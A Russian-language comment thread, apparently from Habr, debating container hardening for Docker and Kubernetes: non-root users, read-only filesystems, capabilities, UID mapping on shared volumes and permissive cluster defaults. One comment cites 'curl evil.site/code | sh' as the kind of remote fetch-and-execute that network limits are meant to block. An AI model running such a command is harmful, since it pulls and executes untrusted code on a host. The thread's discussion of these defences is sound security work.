Pull to refresh

Comments 24

Какая-то очень поверхностная статья. Если уж так рассуждать — надо выкидывать докер и мигрировать на что-то более вменяемое. Ну, тот же containerd, например
Сравнивать безопасность кубернетеса и докера — вообще такое себе. Слишком разные технические средства, работающие на совершенно разных уровнях абстракции

Хорошо, а как предотвратить установку ПО внутри контейнера?

  1. Не запускать контейнер из-под рута
  2. Запретить в контейнере изменение пользователя
  3. Запретить в контейнере любую сетевую активность, кроме заранее описанной
  4. Запретить в контейнере дополнительные привилегии
  5. Закрыть файловую систему контейнера от модификации (либо правами, либо ro)
  6. В идеале — ещё как-то закрыть пользователю доступ внутрь контейнера (docker exec) и изменение файлов внутри (docker cp)

Можно ещё накидать

Спасибо за ответ! Ещё пара вопросов, если можно:
1. "Не запускать контейнер из-под рута" – означает ли это отсутствие root внутри контейнера? Например, у меня есть контейнер с GitLab. Там внутри целый зоопарк сервисов, которым нужен root, но лишь внутри. Как я понимаю, то, о чём Вы пишете, это тот самый rootless mode?
2. "Запретить в контейнере изменение пользователя" – как?
3. Про сетевую активность – Вы имеете в виду iptables/ufw? Но если внутри будет root, то ему плевать на эти фильтры. Или всё же речь об ограничении снаружи?
5. Про закрытие ФС от модификации – подскажите, пожалуйста, как? Насколько я понимаю, внутри контейнера всё можно редактировать, просто те участки, которые были в read-only слоях при сборке будут сверху иметь read-write слой, который сам по себе отватился (откатится) при остановке контейнера.
6. Про закрытие доступа внутрь контейнера – как?


Пардон за тупые вопросы, не так давно начал пользоваться Docker, но даже при наличии документации есть непонятные моменты вроде описанных Вами.

Нет, рутлес это не то. Условно есть два рута — от которого работает сам демон докера — первый. И обычно это не является проблемой, т.к. докер достаточно тесно интегрирован с остальной частью системы и условно говоря контейнеры создаёт либо админ, либо какая-то прослойка вроде кубернетеса (а в ней своя модель доступов есть — rbac). С другой стороны, иногда действительно хочется дать доступ пользователю доступ к докер демону, но чтобы он не смог ничего не порушить, т.к. в сценарии «по умолчанию» доступ к докер демону позволяет запустить рутовый контейнер с соответствующими флагами и получить доступ прямой к сети, редактированию файловой системы и все прочее — по сути эффективно давая рута на хосте (хоть и в контейнере). Отчасти эту проблему, как я понимаю, rootless mode решает. Правда, имеет другие нюансы.
Я же говорил про рута ВНУТРИ контейнера. Предположим есть гипотетический кейс, когда вы находите время уязвимость в докере и каким-то способом выходите на хост, наружу. Ну, либо пользователь допустил misconfiguration и случайно засветил внутри контейнера файловую систему хоста. Так вот — в этом случае с рутом не проходят отдельные проверки прав и по сути систему можно сломать. И если Вы думаете, что такого не было — посмотрите базу cve — такой способ побега из контейнера уже применяли. Если же бы программа внутри контейнера была запущена из-под непривилегированного пользователя, то такой «побег» совершить гораздо сложнее, а даже если и проведут такую атаку, то потом на хосте Вы будете с правами не рута, а этого самого непривилегированного пользователя, что просто грандиозно уменьшает площадь атаки. Как-то так.

Касательно сетевой активности — там есть несколько разных вещей начиная от CAPs (которые влияют на возможность программы в контейнере, например, открывать слушающий порт) и кончая, как Вы правильно заметили, настройками файрволла. Здесь мы хотим отключить возможность сделать условный curl evil.site/code | sh — т.е. принести вредоносный кол из интернета. А даже если его и принести, то не быть способным его запустить

По 5. Проще всего при сборке контейнера сделать все файлы-каталоги с правам 755 и чтоб пользователь, под которым работает сервис, не был владельцем этих каталогов. Это уже закрывает половину проблемы ) Ну, либо как-то аналогично выкручиваться. Через тот же механизм capabilities можно вроде отключать целые блоки api ядра линукса. Если же их не хватает, то есть ещё selinux/apparmor. Ну, и когда монтируете файлы с хоста через mount/volumes — там можно задавать режим ro/rw и кое-что ещё. Попробуйте.

Большое спасибо за ликбез!

Если же бы программа внутри контейнера была запущена из-под непривилегированного пользователя, то такой «побег» совершить гораздо сложнее, а даже если и проведут такую атаку, то потом на хосте Вы будете с правами не рута, а этого самого непривилегированного пользователя, что просто грандиозно уменьшает площадь атаки. Как-то так.

Есть механизм маппинга пользователей контейнера на пользователей хоста, позволяющий, в том числе маппить рута контейнера на обычного пользователя хоста.

Так что если вы имеете доступ к учетной записи, вы можете подсмотреть эти переменные окружения с целью расширить потом свои полномочия.

А если вы имеете ключ от банковского сейфа, то можете разжиться наличными и брюликами.

20 лет стажа и колхозный курс по ИБ не прошли даром.
UFO just landed and posted this here

Почти все образы из (с) докерхаба по умолчанию с рутом и требуют доработки, если нужен запуск из под нерутя

Наоборот, почти всегда конейнеры запускают под рутом. Но я не вижу в этом большой проблемы. Программа всё равно имеет доступ к базе, а больше ничего особенно интересного в сети кубернетиса нет. Потому прав пользователя приложения будет вполне достаточно, чтобы что-то напортить.
А вот использование не рута — это сразу огромная куча проблем, особенно в тестовом окружении. Никому не советую делать кастомных юзеров, пока у вас нет специального человека, который всё это настроит и будет сопровождать.

Просто просто представьте, что вам надо поставить кастомного юзера на node-js приложение: у вас будет неслабый такой chown -R на ваш код и все node_modules. И он будет сильно тормозить вам pipeline. Чтобы этого избежать вам надо будет делать хитрые слои и заливать это в docker-регистри…
И это только одна из проблем.
Фишка ещё в том, что про безопасность и запуск не под рутом все много говорят, а безопасных примеров Dockerfile'ов для вашего стека найти будет очень непросто, и скорее всего вашей команде прийдётся рожать их в муках.
Нужно смотреть на конкретный пример атаки, которую вы хотите отразить, в противном случае вы потратите кучу денег и времени на гипотетичский «запускать под рутом не по феншую». По мне так многое можно решить политиками сети кубернетиса.

Вот как раз с нодой проблем особых нет. Там в официальном образе уже непривилигированный пользователь есть. А ADD/COPY давно имеют --chown флаг

А ADD/COPY давно имеют --chown флаг

только я бы не сказал, что это решение работает быстро в силу особенностей работы докеровских файловых систем

Есть бенчмарки, показывающие что флаг --chown значительно замедляет копирование? С отдельным RUN chown -R это очевидно: кроме самой смены прав ещё и создание нового слоя. А вот с --chown в самой команде совсем не очевидно, какие именно особенности могут привести значительному замедлению.

не должно быть с ним проблем. Кстати, я пробовал COPY --chown. Почему-то у меня не получилось из-за каши с uid'ами и нужно было делать chown отдельно.
VolCh
Дельное напоминание. Но надо попробовать снова.

Еще есть забавная тема с владением файлами в волюмах, в т.ч. расшаренных между несколькими контейнерами или между контейнером и хост машиной. Пишу про Docker Swarm, но наверно аналогично работает и в различных других окружениях. Если внутри контейнера на базе какого-нибудь линукс работает программа от имени юзера User1 с id 12345, то она создает и редактирует файлы от имени этого id. Допустим в этом контейнере User1 специально сделан с минимумом привилегий, чтоб было безопасно. Допустим в контейнер подмонтирован волюм, который также подмонтирован в еще один контейнер. А в нем существует User2 с id = тоже 12345 и совершенно другими расширенными привилегиями и назначением. И вот оба юзера из разных контейнеров имеют одинаковый доступ к файлам в этом волюме. Если первый контейнер скомпрометирован — второй пострадал.
Это может быть одной из причин, почему так популярно стало запускать софт внутри контейнера от рута — тогда вообще не надо беспокоиться, чтобы совпадали айдишники юзеров внутри и снаружи контейнера, если требуется подсунуть какой-нибудь конфиг или другой файл через волюмы. Рут везде с одинаковым id, можно накопировать чего-нибудь из-под рута в волюм примонтированный к контейнеру, и все работает, проблему не видно.

Даже не столько это. Если вы что-то кладёте в шареный volume (часто всякая статика с assets), то чтобы юзер приложения имел туда доступ вам нужно их ему загрантить — это муторный шаг, который надо делать.
Это, кстати, причина почему дефолтные build-agent'ы в Azure Dev Ops бегают под root'ом.

в Kubernetes есть возможность переопределить uid пользователя от которого будет запущен контейнер или просто запретить запуск от рута, запретить любую запись в фс в контейнере, запретить монтирование папок с хоста (HostPath), тем самым запретив прокидывать сокет докера.


Если у человека есть доступ, понятное дело он может прочитать переменные среды, это вообще никак не связано с тем как запускается приложение, в контейнере, виртуальной машине или на железе.


P. S. статья не уровня Southbridge, слишком поверхностно

Тем не менее следует отметить, что в кубернетесе имеются специфичные для него уязвимости (вне контекста докера) — например, по умолчанию разрешено все сетевое взаимодействие в кластере, что позволяет потыкать в какие-то системные сервисы (начиная от мониторинга), сервисная учетка доступна приложению и не дай Бог у нее есть повышенные привилегии и прочее-прочее-прочее. В отличие от работы на уровне виртуальных машин и его оркестратора, в кубере blast radius в случае каких-то ошибок и недоработок может быть по размеру вплоть до целого кластера.
Вот была хорошая статья от ребят (еле нашел, кстати, в отличие от массы рекламных материалов про Slurm, DevOps, Agile)
https://habr.com/ru/company/southbridge/blog/472484/

Небезопасные умолчания, это проблема у многих. Например раньше по умолчанию elasticsearch или mongodb запускались открытыми для подключений без какой либо аутентификации и авторизации. Но справедливости ради, стоит отметить что kubenetes на мой взгляд больше является фреймворком, на котором ты строишь свои решения, поэтому минимум настроек по умолчанию это норм для такого проекта. Тот же openshift уже законченое решение на kubernetes, и там эти настройки выставлены в приемлемый вид.


В любом случае, автор статьи претендующий рассказать о безопасности в docker и kubernetes, просто об этом не упомянул или не знал. Мне кажется такие статьи вообще не стоят перевода.

Sign up to leave a comment.